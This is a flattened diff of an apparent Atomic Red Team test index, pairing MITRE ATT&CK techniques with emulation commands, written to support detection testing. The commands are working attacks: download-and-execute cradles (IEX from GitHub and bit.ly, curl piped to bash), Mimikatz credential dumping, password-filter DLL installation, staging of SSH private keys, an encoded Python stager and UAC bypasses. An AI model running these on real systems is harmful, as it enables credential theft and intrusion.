name: powershell - elevation_required: false + name: command_prompt + elevation_required: true command: | - (New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))) - (New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');[ScriptBlock]::Create((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))).InvokeReturnAsIs() - Set-Variable HJ1 'http://bit.ly/L3g1tCrad1e';SI Variable:/0W 'Net.WebClient';Set-Item Variable:\gH 'Default_File_Path.ps1';ls _-*;Set-Variable igZ (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$_.Name-like'*Cm*t'}).Name).Invoke($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|GM|?{$_.Name-like'*om*e'}).Name).Invoke('*w-*ct',$TRUE,1))(Get-ChildItem Variable:0W).Value);Set-Variable J ((((Get-Variable igZ -ValueOn)|GM)|?{$_.Name-like'*w*i*le'}).Name);(Get-Variable igZ -ValueOn).((ChildItem Variable:J).Value).Invoke((Get-Item Variable:/HJ1).Value,(GV gH).Value);&( ''.IsNormalized.ToString()[13,15,48]-Join'')(-Join([Char[]](CAT -Enco 3 (GV gH).Value))) - - name: Mimikatz - Cradlecraft PsSendKeys - description: 'Run mimikatz via PsSendKeys - -' + c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5 + c:\windump.exe + - name: Packet Capture PowerShell + description: | + Perform a packet capture using PowerShell with windump or tshark. This will require a host that has Wireshark/Tshark + installed, along with WinPCAP. Windump will require the windump executable. supported_platforms: - windows + input_arguments: + interface: + description: Specify interface to perform PCAP on. + type: String + default: Ethernet0 executor: name: powershell elevation_required: true - command: "$url='https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object - -ComObject WScript.Shell;$reg='HKCU:\\Software\\Microsoft\\Notepad';$app='Notepad';$props=(Get-ItemProperty - $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP - $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item - Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep - -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds - 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable - _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item - Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable - _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item - Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP - $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz - -dumpcr\n" - - name: Invoke-AppPathBypass - description: | - Note: Windows 10 only + command: | + c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5 + c:\windump.exe + T1174: + technique: + x_mitre_permissions_required: + - Administrator + - SYSTEM + x_mitre_data_sources: + - DLL monitoring + - Process monitoring + - Windows Registry + name: Password Filter DLL + description: |- + Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. - Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ - supported_platforms: - - windows - executor: - name: command_prompt - elevation_required: false - command: 'Powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1''); - Invoke-AppPathBypass -Payload ''C:\Windows\System32\cmd.exe''" + Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. -' - - name: PowerShell Add User - description: 'Using PS 5.1, add a user via CLI + Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013) + id: attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Monitor for change notifications to and from unfamiliar password filters. + + Newly installed password filters will not take effect until after a system reboot. + + Password filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Vincent Le Toux + created: '2018-01-16T16:13:52.465Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: credential-access + external_references: + - external_id: T1174 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1174 + - source_name: Carnal Ownage Password Filters Sept 2013 + description: Fuller, R. (2013, September 11). Stealing passwords every time + they change. Retrieved November 21, 2017. + url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html + - source_name: Clymb3r Function Hook Passwords Sept 2013 + description: Bialek, J. (2013, September 15). Intercepting Password Changes + With Function Hooking. Retrieved November 21, 2017. + url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/ + modified: '2019-07-18T17:02:26.038Z' + identifier: T1174 + atomic_tests: + - name: Install and Register Password Filter DLL + description: 'Uses PowerShell to install and register a password filter DLL. + Requires a reboot and administrative privileges. ' supported_platforms: - windows input_arguments: - user_name: - description: username to add - type: string - default: atomic_user - full_name: - description: Full name of user - type: string - default: Atomic Red Team - password: - description: password to use - type: string - default: ATOM1CR3DT3@M - description: - description: Brief description of account - type: string - default: Atomic Things + input_dll: + description: Path to DLL to be installed and registered + type: Path + default: C:\AtomicRedTeam\atomics\T1174\src\AtomicPasswordFilter.dll executor: name: powershell elevation_required: true - command: 'New-LocalUser -FullName ''#{full_name}'' -Name ''#{user_name}'' - -Password #{password} -Description ''#{description}'' + command: |- + $passwordFilterName = (Copy-Item "#{input_dll}" -Destination "C:\Windows\System32" -PassThru).basename + $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" + $notificationPackagesValues = $lsaKey.GetValue("Notification Packages") + $notificationPackagesValues += $passwordFilterName + Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues + Restart-Computer -Confirm + T1145: + technique: + x_mitre_data_sources: + - File monitoring + x_mitre_permissions_required: + - User + name: Private Keys + description: |- + Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto) -' - - name: Powershell MsXml COM object - no prompt - description: | - Provided by https://github.com/mgreen27/mgreen27.github.io - Powershell MsXml COM object. - Not proxy aware removing cache although does not appear to write to those locations - supported_platforms: - - windows - input_arguments: - url: - description: url of payload to execute - type: url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1 - executor: - name: command_prompt - elevation_required: false - command: 'powershell.exe IEX -exec bypass -windowstyle hidden -noprofile "$comMsXml=New-Object - -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open(''GET'',''#{url}'',$False);$comMsXml.Send();IEX - $comMsXml.ResponseText" + Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. -' - - name: Powershell MsXml COM object - with prompt - description: | - Provided by https://github.com/mgreen27/mgreen27.github.io - Powershell MsXml COM object. - Not proxy aware removing cache although does not appear to write to those locations - supported_platforms: - - windows - input_arguments: - url: - description: url of payload to execute - type: url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1 - executor: - name: command_prompt - elevation_required: false - command: 'powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject - MsXml2.ServerXmlHttp;$comMsXml.Open(''GET'',''#{url}'',$False);$comMsXml.Send();IEX - $comMsXml.ResponseText" + Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. -' - - name: Powershell XML requests + Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia) + id: attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor access to files and directories related to cryptographic + keys and certificates as a means for potentially detecting access patterns + that may indicate collection and exfiltration activity. Collect authentication + logs and look for potentially abnormal activity that may indicate improper + use of keys or certificates for remote authentication. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Itzik Kotler, SafeBreach + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: credential-access + external_references: + - external_id: T1145 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1145 + - source_name: Wikipedia Public Key Crypto + description: Wikipedia. (2017, June 29). Public-key cryptography. Retrieved + July 5, 2017. + url: https://en.wikipedia.org/wiki/Public-key_cryptography + - source_name: Kaspersky Careto + description: Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The + Masked APT. Retrieved July 5, 2017. + url: https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf + - source_name: Palo Alto Prince of Persia + description: Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia + – Game Over. Retrieved July 5, 2017. + url: https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/ + modified: '2019-07-18T17:21:52.708Z' + identifier: T1145 + atomic_tests: + - name: Private Keys description: | - Provided by https://github.com/mgreen27/mgreen27.github.io - Powershell xml download request + Find private keys on the Windows file system. + + File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc supported_platforms: - windows - input_arguments: - url: - description: url of payload to execute - type: url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.xml executor: name: command_prompt - elevation_required: false - command: '"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec - bypass -windowstyle hidden -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load(''#{url}'');$Xml.command.a.execute - | IEX" + elevation_required: true + command: | + echo "ATOMICREDTEAM" > %windir%\cert.key + dir c:\ /b /s .key | findstr /e .key + - name: Discover Private SSH Keys + description: 'Discover private SSH keys on a macOS or Linux system. ' - - name: Powershell invoke mshta.exe download - description: | - Provided by https://github.com/mgreen27/mgreen27.github.io - Powershell invoke mshta to download payload supported_platforms: - - windows + - macos + - linux input_arguments: - url: - description: url of payload to execute - type: url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/mshta.sct + output_file: + description: Output file containing locations of SSH key files + type: path + default: "/tmp/keyfile_locations.txt" executor: - name: powershell - elevation_required: false - command: '"C:\Windows\system32\cmd.exe" /c "mshta.exe javascript:a=GetObject(''script:#{url}'').Exec();close()" + name: sh + command: | + find / -name id_rsa >> #{output_file} + find / -name id_dsa >> #{output_file} + - name: Copy Private SSH Keys with CP + description: 'Copy private SSH keys on a Linux system to a staging folder using + the `cp` command. ' - - name: Powershell Invoke-DownloadCradle - description: | - Provided by https://github.com/mgreen27/mgreen27.github.io - Invoke-DownloadCradle is used to generate Network and Endpoint artifacts. supported_platforms: - - windows + - linux + input_arguments: + output_folder: + description: Output folder containing copies of SSH private key files + type: path + default: "/tmp/art-staging" executor: - name: manual - steps: | - 1. Open Powershell_ise as a Privileged Account - 2. Invoke-DownloadCradle.ps1 - - name: PowerShell Fileless Script Execution - description: 'Execution of a PowerShell payload from the Windows Registry similar - to that seen in fileless malware infections. + name: sh + command: | + mkdir #{output_folder} + find / -name id_rsa -exec cp --parents {} #{output_folder} \; + find / -name id_dsa -exec cp --parents {} #{output_folder} \; + - name: Copy Private SSH Keys with rsync + description: 'Copy private SSH keys on a Linux or macOS system to a staging + folder using the `rsync` command. ' supported_platforms: - - windows + - macos + - linux + input_arguments: + output_folder: + description: Output folder containing copies of SSH private key files + type: path + default: "/tmp/art-staging" executor: - name: command_prompt - elevation_required: false + name: sh command: | - reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggJyVTeXN0ZW1Sb290JS9UZW1wL2FydC1tYXJrZXIudHh0JyAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" - powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART))) - - name: PowerShell Downgrade Attack - description: 'Attempts to run powershell commands in version 2.0 https://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/ + mkdir #{output_folder} + find / -name id_rsa -exec rsync -R {} #{output_folder} \; + find / -name id_dsa -exec rsync -R {} #{output_folder} \; +execution: + T1155: + technique: + x_mitre_data_sources: + - API monitoring + - System calls + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + name: AppleScript + description: "macOS and OS X applications send AppleEvent messages to each other + for interprocess communications (IPC). These messages can be easily scripted + with AppleScript for local or remote IPC. Osascript executes AppleScript and + any other Open Scripting Architecture (OSA) language scripts. A list of OSA + languages installed on a system can be found by using the osalang + program.\nAppleEvent messages can be sent independently or as part of a script. + These events can locate open windows, send keystrokes, and interact with almost + any open application locally or remotely. \n\nAdversaries can use this to + interact with open SSH connection, move to remote machines, and even present + users with fake dialog boxes. These events cannot start applications remotely + (they can start them locally though), but can interact with applications if + they're already running remotely. Since this is a scripting language, it can + be used to launch more common techniques as well such as a reverse shell via + python (Citation: Macro Malware Targets Macs). Scripts can be run from the + command-line via osascript /path/to/script or osascript + -e \"script here\"." + x_mitre_remote_support: true + id: attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor for execution of AppleScript through osascript that + may be related to other suspicious behavior occurring on the system. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: execution + - kill_chain_name: mitre-attack + phase_name: lateral-movement + external_references: + - external_id: T1155 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1155 + - source_name: Macro Malware Targets Macs + description: Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. + Retrieved July 8, 2017. + url: https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/ + modified: '2019-07-16T19:11:33.411Z' + identifier: T1155 + atomic_tests: + - name: AppleScript + description: | + Shell Script with AppleScript -' + reference + + https://github.com/EmpireProject/Empire supported_platforms: - - windows + - macos executor: - name: powershell - elevation_required: false - prereq_command: 'if(2 -in $PSVersionTable.PSCompatibleVersions.Major){0}else{1} + name: sh + command: 'osascript "do shell script "echo \"import sys,base64,warnings;warnings.filterwarnings(''ignore'');exec(base64.b64decode(''aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0iKTsKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyc4Yzk0OThmYjg1YmQ1MTE5ZGQ5ODQ4MTJlZTVlOTg5OSc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10KZm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleGVjKCcnLmpvaW4ob3V0KSkK''));\" + | python &"" ' - command: 'powershell.exe -version 2 -Command Write-Host $PSVersion + T1191: + technique: + x_mitre_data_sources: + - Process monitoring + - Process command-line parameters + - Process use of network + - Windows event logs + x_mitre_permissions_required: + - User + name: CMSTP + description: |- + The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. -' - - name: NTFS Alternate Data Stream Access - description: 'Creates a file with an alternate data stream and simulates executing - that hidden code/file + Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application. + + CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) + x_mitre_remote_support: false + id: attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3 + modified: '2019-06-13T18:55:24.133Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. + + Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018) + + * To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external. + * To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank + - Nik Seetharaman, Palantir + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1191 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1191 + - source_name: Microsoft Connection Manager Oct 2009 + description: Microsoft. (2009, October 8). How Connection Manager Works. Retrieved + April 11, 2018. + url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10) + - source_name: Twitter CMSTP Usage Jan 2018 + description: Carr, N. (2018, January 31). Here is some early bad cmstp.exe... + Retrieved April 11, 2018. + url: https://twitter.com/ItsReallyNick/status/958789644165894146 + - source_name: MSitPros CMSTP Aug 2017 + description: Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April + 11, 2018. + url: https://msitpros.com/?p=3960 + - source_name: Twitter CMSTP Jan 2018 + description: Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution + applocker bypass. Retrieved April 11, 2018. + url: https://twitter.com/NickTyrer/status/958450014111633408 + - source_name: GitHub Ultimate AppLocker Bypass List + description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved + April 10, 2018. + url: https://github.com/api0cradle/UltimateAppLockerByPassList + - source_name: Endurant CMSTP July 2018 + description: Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code + Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018. + url: http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/ + x_mitre_defense_bypassed: + - Application whitelisting + - Anti-virus + identifier: T1191 + atomic_tests: + - name: CMSTP Executing Remote Scriptlet + description: 'Adversaries may supply CMSTP.exe with INF files infected with + malicious commands ' supported_platforms: - windows input_arguments: - ads_file: - description: File created to store Alternate Stream Data - type: String - default: "$env:TEMP\\NTFS_ADS.txt" + inf_file_path: + description: Path to the INF file + type: path + default: T1191.inf executor: - name: powershell + name: command_prompt elevation_required: false - prereq_command: 'if((Get-Volume -DriveLetter $env:HOMEDRIVE[0]).FileSystem - -contains "NTFS"){0}else{1} + command: 'cmstp.exe /s #{inf_file_path} ' - command: | - Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand' - $streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand' - Invoke-Expression $streamcommand - cleanup_command: 'Remove:Item #{ads_file} + - name: CMSTP Executing UAC Bypass + description: 'Adversaries may invoke cmd.exe (or other malicious commands) by + embedding them in the RunPreSetupCommandsSection of an INF file + +' + supported_platforms: + - windows + input_arguments: + inf_file_uac: + description: Path to the INF file + type: path + default: T1191_uacbypass.inf + executor: + name: command_prompt + elevation_required: false + command: 'cmstp.exe /s #{inf_file_uac} /au ' - T1121: + T1059: technique: - external_references: - - external_id: T1121 - source_name: mitre-attack - url: https://attack.mitre.org/techniques/T1121 - - url: https://msdn.microsoft.com/en-us/library/04za0hca.aspx - source_name: MSDN Regsvcs - description: Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). - Retrieved July 1, 2016. - - url: https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx - source_name: MSDN Regasm - description: Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved - July 1, 2016. - - source_name: SubTee GitHub All The Things Application Whitelisting Bypass - description: Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ - Application Control Bypass Techniques in One File. Retrieved June 30, 2017. + x_mitre_data_sources: + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + name: Command-Line Interface + description: |- + Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is [cmd](https://attack.mitre.org/software/S0106), which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. [Scheduled Task](https://attack.mitre.org/techniques/T1053)). + + Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation. + x_mitre_remote_support: false + id: attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830 + x_mitre_platforms: + - Linux + - macOS + - Windows object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Casey Smith + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Command-line interface activities can be captured through + proper logging of process execution with command-line arguments. This information + can be useful in gaining additional insight to adversaries' actions through + how they use native processes or custom tools. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:49.546Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1059 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1059 + - source_name: Wikipedia Command-Line Interface + description: Wikipedia. (2016, June 26). Command-line interface. Retrieved + June 27, 2016. + url: https://en.wikipedia.org/wiki/Command-line_interface + modified: '2019-07-16T20:46:59.350Z' + identifier: T1059 + atomic_tests: + - name: Command-Line Interface + description: | + Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. + + This will download the specified payload and set a marker file in `/tmp/art-fish.txt`. + supported_platforms: + - macos + - centos + - ubuntu + - linux + executor: + name: sh + command: | + bash -c "curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059/echo-art-fish.sh | bash" + bash -c "wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Atomics/T1059/echo-art-fish.sh | bash" + T1223: + technique: x_mitre_data_sources: + - File monitoring - Process monitoring - Process command-line parameters - modified: '2019-04-12T17:41:13.440Z' - x_mitre_detection: Use process monitoring to monitor the execution and arguments - of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and - Regasm.exe with prior history of known good arguments and executed binaries - to determine anomalous and potentially adversarial activity. Command arguments - used before and after Regsvcs.exe or Regasm.exe invocation may also be useful - in determining the origin and purpose of the binary being executed. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_permissions_required: + - User + name: Compiled HTML File + description: |- + Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) + + Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017) + x_mitre_remote_support: false + id: attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a + modified: '2019-07-16T20:59:55.841Z' x_mitre_platforms: - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Process whitelisting - - Digital Certificate Validation - id: attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302 - name: Regsvcs/Regasm - created: '2017-05-31T21:31:33.499Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.1' - x_mitre_remote_support: false type: attack-pattern - description: |- - Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) 